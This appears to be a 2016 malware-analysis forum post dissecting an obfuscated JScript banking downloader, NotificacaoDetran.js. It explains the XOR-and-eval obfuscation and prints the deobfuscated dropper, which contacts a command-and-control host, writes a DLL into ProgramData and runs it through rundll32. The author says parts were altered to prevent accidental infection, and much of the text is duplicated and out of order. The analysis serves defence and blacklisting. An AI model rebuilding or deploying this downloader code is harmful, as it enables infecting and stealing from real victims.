- May 14, 2016
- 1,597
From malware Vault (samples) :
https://malwaretips.com/threads/17-10-2016-17.64544/
Thanks to @Daniel Hidalgo
NotificacaoDetran.js
Why this sample ?
Because :
- it's the first time I will show this obfuscation method used,
- the deobfuscated script is "original" (I could say : "interesting")
Antivirus scan for 822520d71b384491e518df7d7cf592d7cfac4e0a42a7895bd13d1b9d637635f0 at 2016-10-17 17:12:15 UTC - VirusTotal
PART 1 : first obfuscation analysis
1) What it looks like :
var XYGl1 = {
XYGl1 = XYGl1;
var lauch = WScript[XYGl1.I1 + XYGl1.J1 + XYGl1.K1 + XYGl1.L1][XYGl1.M1](XYGl1.N1);
var hienken = lauch[lauch[XYGl1.O1] - XYGl1.n1];
decode(XYGl1.N1 + hienken[XYGl1.P1](XYGl1.m1, XYGl1.o1), '6&12&6&64&9&7&71&5&29&6&45&63&97&40&50&98&70&83&102&37&32&122&70&83&103&46&95&14&60&90&85&103&121&35&96&122&105&38&60&108&43&63&117&72&38&122&35&63&125&72&46&14&87&83&85&103&121&39&99&81&97&40&57&12&80&83&117&103&121&39&99&122&72&31&29
...
...
(Very long string.
We will see in part 2 that the file is read by the script itself when running, to retrieve a part of this obfuscated string to be used as a key on a Decode / XOR functions)
function decode(c, e) {
2 ) Explanations :
XYGl1 :
function decode(c, e) {
}
3) The script deobfuscated :
3-1 ) Complete part :
I MODIFIED SOME PARTS TO AVOID COPY-PASTE => SAVE => RUN => INFECTED
3-1 ) Main Function :
(function(GLOBAL, HOST, ID, V){
...
...
})(this, "https ://meelertrevor.top", "152cfe7f55e346 40053e13b24f9bba", "0.3.33")["UTILS"]["RUN"]();
Inside : objects / functions used to do the job
Exemples (look at the complete parts on spoiler above) :
The main part inside :
(See the link to the part 2 at the end of this part 1)
to summarize :
In part 2 :
https://malwaretips.com/threads/deo...oct-17-2016-targeted-banks.64575/#post-555347
https://malwaretips.com/threads/17-10-2016-17.64544/
Thanks to @Daniel Hidalgo
NotificacaoDetran.js
Why this sample ?
Because :
- it's the first time I will show this obfuscation method used,
- the deobfuscated script is "original" (I could say : "interesting")
=> a lot of stuff : string to hex, hex to string, xor, key, some important data for the decoding part, and with some encoded parts, are different at each first request, 2nd request for the payload, etc...)
- 3/54 when postingAntivirus scan for 822520d71b384491e518df7d7cf592d7cfac4e0a42a7895bd13d1b9d637635f0 at 2016-10-17 17:12:15 UTC - VirusTotal
PART 1 : first obfuscation analysis
1) What it looks like :
var XYGl1 = {
L1: "me",
N1: ".",
M1: "split",
m1: 0,
o1: 2,
n1: 1,
O1: "length",
J1: "crip",
K1: "tFullNa",
P1: "slice",
I1: "S"
};N1: ".",
M1: "split",
m1: 0,
o1: 2,
n1: 1,
O1: "length",
J1: "crip",
K1: "tFullNa",
P1: "slice",
I1: "S"
XYGl1 = XYGl1;
var lauch = WScript[XYGl1.I1 + XYGl1.J1 + XYGl1.K1 + XYGl1.L1][XYGl1.M1](XYGl1.N1);
var hienken = lauch[lauch[XYGl1.O1] - XYGl1.n1];
decode(XYGl1.N1 + hienken[XYGl1.P1](XYGl1.m1, XYGl1.o1), '6&12&6&64&9&7&71&5&29&6&45&63&97&40&50&98&70&83&102&37&32&122&70&83&103&46&95&14&60&90&85&103&121&35&96&122&105&38&60&108&43&63&117&72&38&122&35&63&125&72&46&14&87&83&85&103&121&39&99&81&97&40&57&12&80&83&117&103&121&39&99&122&72&31&29
...
...
(Very long string.
We will see in part 2 that the file is read by the script itself when running, to retrieve a part of this obfuscated string to be used as a key on a Decode / XOR functions)
function decode(c, e) {
var H1 = "";
var G1 = "oin";
var F1 = "j";
var E1 = "de";
var D1 = "omCharCo";
var C1 = "fr";
var B1 = "gth";
var A1 = "n";
var z1 = "e";
var y1 = "l";
var x1 = "eA";
var w1 = "d";
var v1 = "charCo";
var u1 = "h";
var t1 = "lengt";
var s1 = "&";
var r1 = "t";
var q1 = "i";
var p1 = "spl";
var b = e[p1 + q1 + r1](s1);
for (var a = XYGl1.m1; a < b[t1 + u1]; a++) {
eval(b[F1 + G1](H1)); => Here , the "real" part of the malware is run
}var G1 = "oin";
var F1 = "j";
var E1 = "de";
var D1 = "omCharCo";
var C1 = "fr";
var B1 = "gth";
var A1 = "n";
var z1 = "e";
var y1 = "l";
var x1 = "eA";
var w1 = "d";
var v1 = "charCo";
var u1 = "h";
var t1 = "lengt";
var s1 = "&";
var r1 = "t";
var q1 = "i";
var p1 = "spl";
var b = e[p1 + q1 + r1](s1);
for (var a = XYGl1.m1; a < b[t1 + u1]; a++) {
var d = b[a] ^ c[v1 + w1 + x1 + r1](a % c[y1 + z1 + A1 + B1]);
b[a] = String[C1 + D1 + E1](d);
}b[a] = String[C1 + D1 + E1](d);
eval(b[F1 + G1](H1)); => Here , the "real" part of the malware is run
2 ) Explanations :
XYGl1 :
several important parts are broken into an array of string with keys.
This array is used to build the important strings to be used
This array is used to build the important strings to be used
- var lauch = WScript[XYGl1.I1 + XYGl1.J1 + XYGl1.K1 + XYGl1.L1][XYGl1.M1](XYGl1.N1);
[XYGl1.I1 + XYGl1.J1 + XYGl1.K1 + XYGl1.L1]
=> ["S" + "crip" + "tFullNa" + "me"]
=> ["ScriptFullName"]
=> ["ScriptFullName"]
[XYGl1.M1]
=> ["split"]
(XYGl1.N1)
=> (".")
=> var lauch = WScript["ScriptFullName"]["split"](".") than can be writen :
=> var lauch = WScript.ScriptFullName.split(".")
=> Tab of the "script currently running" at index 0, and the extension at index 1
=> Tab of the "script currently running" at index 0, and the extension at index 1
example :
["c:\test\NoticicacaoDetran","js"]
- var hienken = lauch[lauch[XYGl1.O1] - XYGl1.n1];
XYGl1.O1 => "length"
XYGl1.n1 => 1
XYGl1.n1 => 1
=> lauch[lauch[XYGl1.O1] - XYGl1.n1]
=> lauch[lauch.length - 1]
=> lauch[lauch.length - 1]
=> index of last value : extension of the script
Here :
var hienken : "js"
- decode(XYGl1.N1 + hienken[XYGl1.P1](XYGl1.m1, XYGl1.o1), '6&12..........'
parameter 1 : XYGl1.N1 + hienken[XYGl1.P1](XYGl1.m1, XYGl1.o1)
Here :
parameter 1 : ".js"
parameter 2 : Strange string with number and & => obfuscated real script
=> decode( ".js" , string to decode)
"." + extension.slice(0,2)
=> "." + 2 first chars of extension :
=> "." + 2 first chars of extension :
parameter 1 : ".js"
parameter 2 : Strange string with number and & => obfuscated real script
=> decode( ".js" , string to decode)
var H1 = "";
var G1 = "oin";
var F1 = "j";
var E1 = "de";
var D1 = "omCharCo";
var C1 = "fr";
var B1 = "gth";
var A1 = "n";
var z1 = "e";
var y1 = "l";
var x1 = "eA";
var w1 = "d";
var v1 = "charCo";
var u1 = "h";
var t1 = "lengt";
var s1 = "&";
var r1 = "t";
var q1 = "i";
var p1 = "spl";
var b = e[p1 + q1 + r1](s1);
var G1 = "oin";
var F1 = "j";
var E1 = "de";
var D1 = "omCharCo";
var C1 = "fr";
var B1 = "gth";
var A1 = "n";
var z1 = "e";
var y1 = "l";
var x1 = "eA";
var w1 = "d";
var v1 = "charCo";
var u1 = "h";
var t1 = "lengt";
var s1 = "&";
var r1 = "t";
var q1 = "i";
var p1 = "spl";
var b = e[p1 + q1 + r1](s1);
=> b = string_to_decode.split("&")
=> b = tab of all each part that was on the string to decode, with & the char was the cut char
=> b : [6, 12, 6, 64, 9, 7, 71 .........]
=> b = tab of all each part that was on the string to decode, with & the char was the cut char
=> b : [6, 12, 6, 64, 9, 7, 71 .........]
for (var a = XYGl1.m1; a < b[t1 + u1]; a++) {
=> Loop FOR : from index 0 to b.length -1
=> Loop on all parts of the Tab b
=> Loop on all parts of the Tab b
var d = b[a] ^ c[v1 + w1 + x1 + r1](a % c[y1 + z1 + A1 + B1]);
=> var d = b[current_index] XOR ".js'.CharCodeAt(current_index MODULO ".js".length)
=> each char of the extension will be use alternatively to make an XOR with each part of the tab with obfuscated content (one a a time)
example :
=> each char of the extension will be use alternatively to make an XOR with each part of the tab with obfuscated content (one a a time)
example :
index : 0 => 6 XOR char code of "."
index : 1 => 12 XOR char code of "j"
index : 2 => 6 XOR char code of "s"
index : 3 => 64 XOR char code of "."
index : 4 => 9 XOR char code of "j"
etc,..
index : 1 => 12 XOR char code of "j"
index : 2 => 6 XOR char code of "s"
index : 3 => 64 XOR char code of "."
index : 4 => 9 XOR char code of "j"
etc,..
b[a] = String[C1 + D1 + E1](d);
=> b[a] = String.fromCharCode(d);
=> char code to String => obfuscated strings are overwritten by real string (decoded)
=> char code to String => obfuscated strings are overwritten by real string (decoded)
}
eval(b[F1 + G1](H1));
eval(b[F1 + G1](H1));
=> b[F1 + G1](H1) => b.join("")
=> the String with deobfuscated content is build
=> the String with deobfuscated content is build
=> eval => run the real malware part (evaluate a string => evaluate the content)
3) The script deobfuscated :
3-1 ) Complete part :
I MODIFIED SOME PARTS TO AVOID COPY-PASTE => SAVE => RUN => INFECTED
(function(GLOBAL, HOST, ID, V){
"UNP": function(data){
var bytes = data.match(/[\s\S]{1,2}/g) || [];
var result = '';
for(var i=0; i< bytes.length; i++)
"STR": function(){
// constructor
var self = this;
this["VAR1"] = GLOBAL["UTILS"]["OBJ"][0](2);
return [
},
// http request
"REQ": function(){
//decode
"DEC": function(data){
"RUN": function(){
};
return GLOBAL;
})(this, "https ://meelertrevor.top", "152cfe7f55e346 40053e13b24f9bba", "0.3.33")["UTILS"]["RUN"]();
GLOBAL["UTILS"] = {
"OBJ": [
"XOR": function(){
"OBJ": [
function(){
"MSXML2.XMLHTTP",
"ADODB.Stream",
"WScript.Network",
"WScript.Shell",
"Shell.Application",
"Scripting.FileSystemObject"
],return WScript.CreateObject(GLOBAL["UTILS"]["OBJ"][arguments[0]])
},"MSXML2.XMLHTTP",
"ADODB.Stream",
"WScript.Network",
"WScript.Shell",
"Shell.Application",
"Scripting.FileSystemObject"
"XOR": function(){
this["VAR"] = "";
for (i = 0; i < arguments[1].length; i++){
for (i = 0; i < arguments[1].length; i++){
this["VAR"] += String.fromCharCode(arguments[1].charCodeAt(i)
^ arguments[0].charCodeAt(Math.floor(i % arguments[0].length)));
}^ arguments[0].charCodeAt(Math.floor(i % arguments[0].length)));
return this["VAR"];
},"PRE": function(){
this["VAR"] = "";
for(var i=0; i<arguments[0].length; i++)
for(var i=0; i<arguments[0].length; i++)
this["VAR"] += arguments[0].charCodeAt(i).toString(16);
return this["VAR"];
},"UNP": function(data){
var bytes = data.match(/[\s\S]{1,2}/g) || [];
var result = '';
for(var i=0; i< bytes.length; i++)
result += String.fromCharCode(parseInt(bytes, 16));
return result;
},"STR": function(){
// constructor
var self = this;
this["VAR1"] = GLOBAL["UTILS"]["OBJ"][0](2);
return [
// write
function (data){
// readAsText
function (pos, len){
// loadFile
function (file){
// saveFile
function(file){
// close
function(){
] function (data){
self["VAR1"].Type = 1;
self["VAR1"].Open();
self["VAR1"].Write(data);
self["VAR1"].Position = 0;
},self["VAR1"].Open();
self["VAR1"].Write(data);
self["VAR1"].Position = 0;
// readAsText
function (pos, len){
len = len || -1;
pos = pos || 0;
self["VAR1"].Type = 2;
self["VAR1"].Charset = 'us-ascii';
self["VAR1"].Position = pos;
return self["VAR1"].ReadText(len);
},pos = pos || 0;
self["VAR1"].Type = 2;
self["VAR1"].Charset = 'us-ascii';
self["VAR1"].Position = pos;
return self["VAR1"].ReadText(len);
// loadFile
function (file){
self["VAR1"].Type = 2;
self["VAR1"].Charset = 'us-ascii';
self["VAR1"].Open();
self["VAR1"].LoadFromFile(file);
},self["VAR1"].Charset = 'us-ascii';
self["VAR1"].Open();
self["VAR1"].LoadFromFile(file);
// saveFile
function(file){
self["VAR1"].Type = 2;
self["VAR1"].Charset = "us-ascii";
self["VAR1"].WriteText("MZP");
self["VAR1"].Position = 0;
self["VAR1"].SaveToFile(file, 1);
},self["VAR1"].Charset = "us-ascii";
self["VAR1"].WriteText("MZP");
self["VAR1"].Position = 0;
self["VAR1"].SaveToFile(file, 1);
// close
function(){
self["VAR"].Close();
}},
// http request
"REQ": function(){
this["VAR1"] = new GLOBAL["UTILS"]["STR"];
this["VAR2"] = GLOBAL["UTILS"]["OBJ"][0](1);
this["VAR2"].Open('GET', arguments[0], false);
this["VAR2"].Send();
if(this["VAR2"].Status != 200)
},this["VAR2"] = GLOBAL["UTILS"]["OBJ"][0](1);
this["VAR2"].Open('GET', arguments[0], false);
this["VAR2"].Send();
if(this["VAR2"].Status != 200)
return false;
this["VAR1"][0](this["VAR2"].ResponseBody);return this["VAR1"];
//decode
"DEC": function(data){
var stream = new GLOBAL["UTILS"]["STR"];
var file = WSH.ScriptFullName;
var pos = parseInt(data.substr(0, 4), 16);
var len = data.charCodeAt(4);
var data;
var key;
stream[2](file);
key = stream[1](pos, len);
data = data.substr(5);
return GLOBAL["UTILS"]["XOR"](key, data);
},var file = WSH.ScriptFullName;
var pos = parseInt(data.substr(0, 4), 16);
var len = data.charCodeAt(4);
var data;
var key;
stream[2](file);
key = stream[1](pos, len);
data = data.substr(5);
return GLOBAL["UTILS"]["XOR"](key, data);
"RUN": function(){
try {
}catch(e){}
}GLOBAL["UTILS"]["TMP"] = GLOBAL["UTILS"]["PRE"]([ID, V, GLOBAL["UTILS"]["OBJ"][0](3).ComputerName.toUpperCase(), GLOBAL["UTILS"]["OBJ"][0](4).RegRead("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\InstallDate")].join("|"));
if(GLOBAL["UTILS"]["TMP"] === false){
GLOBAL["UTILS"]["TMP"] = GLOBAL["UTILS"]["DEC"](GLOBAL["UTILS"]["TMP"][1]());
GLOBAL["UTILS"]["VAR1"] = GLOBAL["UTILS"]["UNP"](GLOBAL["UTILS"]["TMP"].split("|")[0]);
GLOBAL["UTILS"]["VAR2"] = GLOBAL["UTILS"]["UNP"](GLOBAL["UTILS"]["TMP"].split("|")[1]);
GLOBAL["UTILS"]["VAR3"] = GLOBAL["UTILS"]["UNP"](GLOBAL["UTILS"]["TMP"].split("|")[2]);
GLOBAL["UTILS"]["VAR6"] = GLOBAL["UTILS"]["UNP"](GLOBAL["UTILS"]["TMP"].split("|")[3]);
GLOBAL["UTILS"]["VAR4"] = GLOBAL["UTILS"]["OBJ"][0](5).Namespace(35).Self.Path + GLOBAL["UTILS"]["VAR2"];
GLOBAL["UTILS"]["VAR2"] = GLOBAL["UTILS"]["VAR4"].substr(0, GLOBAL["UTILS"]["VAR4"].lastIndexOf("\\"));
GLOBAL["UTILS"]["VAR5"] = GLOBAL["UTILS"]["OBJ"][0](6);
if(GLOBAL["UTILS"]["VAR5"].FolderExists(GLOBAL["UTILS"]["VAR2"]) != 0){
GLOBAL["UTILS"]["VAR5"].CreateFolder(GLOBAL["UTILS"]["VAR2"]);
GLOBAL["UTILS"]["TMP"] = GLOBAL["UTILS"]["REQ"]([HOST, GLOBAL["UTILS"]["VAR1"]].join("/?"));
if(GLOBAL["UTILS"]["TMP"]){
GLOBAL["UTILS"]["TMP"] = GLOBAL["UTILS"]["REQ"]([HOST, GLOBAL["UTILS"]["TMP"]].join("/?"));if(GLOBAL["UTILS"]["TMP"] === false){
WSH.Quit();
}GLOBAL["UTILS"]["TMP"] = GLOBAL["UTILS"]["DEC"](GLOBAL["UTILS"]["TMP"][1]());
GLOBAL["UTILS"]["VAR1"] = GLOBAL["UTILS"]["UNP"](GLOBAL["UTILS"]["TMP"].split("|")[0]);
GLOBAL["UTILS"]["VAR2"] = GLOBAL["UTILS"]["UNP"](GLOBAL["UTILS"]["TMP"].split("|")[1]);
GLOBAL["UTILS"]["VAR3"] = GLOBAL["UTILS"]["UNP"](GLOBAL["UTILS"]["TMP"].split("|")[2]);
GLOBAL["UTILS"]["VAR6"] = GLOBAL["UTILS"]["UNP"](GLOBAL["UTILS"]["TMP"].split("|")[3]);
GLOBAL["UTILS"]["VAR4"] = GLOBAL["UTILS"]["OBJ"][0](5).Namespace(35).Self.Path + GLOBAL["UTILS"]["VAR2"];
GLOBAL["UTILS"]["VAR2"] = GLOBAL["UTILS"]["VAR4"].substr(0, GLOBAL["UTILS"]["VAR4"].lastIndexOf("\\"));
GLOBAL["UTILS"]["VAR5"] = GLOBAL["UTILS"]["OBJ"][0](6);
if(GLOBAL["UTILS"]["VAR5"].FolderExists(GLOBAL["UTILS"]["VAR2"]) != 0){
WSH.Quit();
}GLOBAL["UTILS"]["VAR5"].CreateFolder(GLOBAL["UTILS"]["VAR2"]);
GLOBAL["UTILS"]["TMP"] = GLOBAL["UTILS"]["REQ"]([HOST, GLOBAL["UTILS"]["VAR1"]].join("/?"));
if(GLOBAL["UTILS"]["TMP"]){
GLOBAL["UTILS"]["TMP"][3](GLOBAL["UTILS"]["VAR4"]);
eval(GLOBAL["UTILS"]["VAR6"])
}eval(GLOBAL["UTILS"]["VAR6"])
}catch(e){}
return GLOBAL;
})(this, "https ://meelertrevor.top", "152cfe7f55e346 40053e13b24f9bba", "0.3.33")["UTILS"]["RUN"]();
3-1 ) Main Function :
(function(GLOBAL, HOST, ID, V){
...
...
})(this, "https ://meelertrevor.top", "152cfe7f55e346 40053e13b24f9bba", "0.3.33")["UTILS"]["RUN"]();
Inside : objects / functions used to do the job
Exemples (look at the complete parts on spoiler above) :
// http request
// write
// readAsText
// loadFile
// saveFile
// close
// write
// readAsText
// loadFile
// saveFile
// close
"OBJ": [
function(){
return WScript.CreateObject(GLOBAL["UTILS"]["OBJ"][arguments[0]])
},
"MSXML2.XMLHTTP",
"ADODB.Stream",
"WScript.Network",
"WScript.Shell",
"Shell.Application",
"Scripting.FileSystemObject"],
function(){
return WScript.CreateObject(GLOBAL["UTILS"]["OBJ"][arguments[0]])
},
"MSXML2.XMLHTTP",
"ADODB.Stream",
"WScript.Network",
"WScript.Shell",
"Shell.Application",
"Scripting.FileSystemObject"],
=> parts you already seen if your have followed my analysis
The main part inside :
"RUN": function(){
This function contains the parts that are calling all other functions and building some important objects
For the moment, I post some info (can help to blacklist) :try {
...
...
...
}...
...
...
}catch(e){}
This function contains the parts that are calling all other functions and building some important objects
(See the link to the part 2 at the end of this part 1)
to summarize :
- first request : https ://meelertrevor.top?[parameter] String to HEX encoded
=> the data received are put into a Stream :
- Payload downloaded (second download request) : Power_Usage.dll
- run : rundl32.exe is used with parameter #1 00001824
EDITED :=> the data received are put into a Stream :
=> one part gives info to retrieve a key from the NotificacaoDetran.js (obfuscated file version, not the one running, file name can change, it depends of the script name of the running script) :
=> this allows the other part of data in the stream to be used /decoded (data for the XOR part, position and lengh for the key, folder to be created, where to download the payload, etc,...)
=> not always the same data received and key used ! (a part of the obfuscated "parameters 2" string we have for the decode function in "1) What it looks like")
(but it gives the same decoded info, normal )
- Folder created C:\ProgramData\Docs-Themes\=> this allows the other part of data in the stream to be used /decoded (data for the XOR part, position and lengh for the key, folder to be created, where to download the payload, etc,...)
=> not always the same data received and key used ! (a part of the obfuscated "parameters 2" string we have for the decode function in "1) What it looks like")
(but it gives the same decoded info, normal )
- Payload downloaded (second download request) : Power_Usage.dll
- run : rundl32.exe is used with parameter #1 00001824
IMPORTANT :
The Folder and dll used have changed today (the first request encoded data give info to be used)
'C:\ProgramData\Photo_Types\Ctrl-Ext.dll'
EXPLANATION OF THE "REAL SCRIPT" PARTS :The Folder and dll used have changed today (the first request encoded data give info to be used)
'C:\ProgramData\Photo_Types\Ctrl-Ext.dll'
In part 2 :
https://malwaretips.com/threads/deo...oct-17-2016-targeted-banks.64575/#post-555347
Last edited: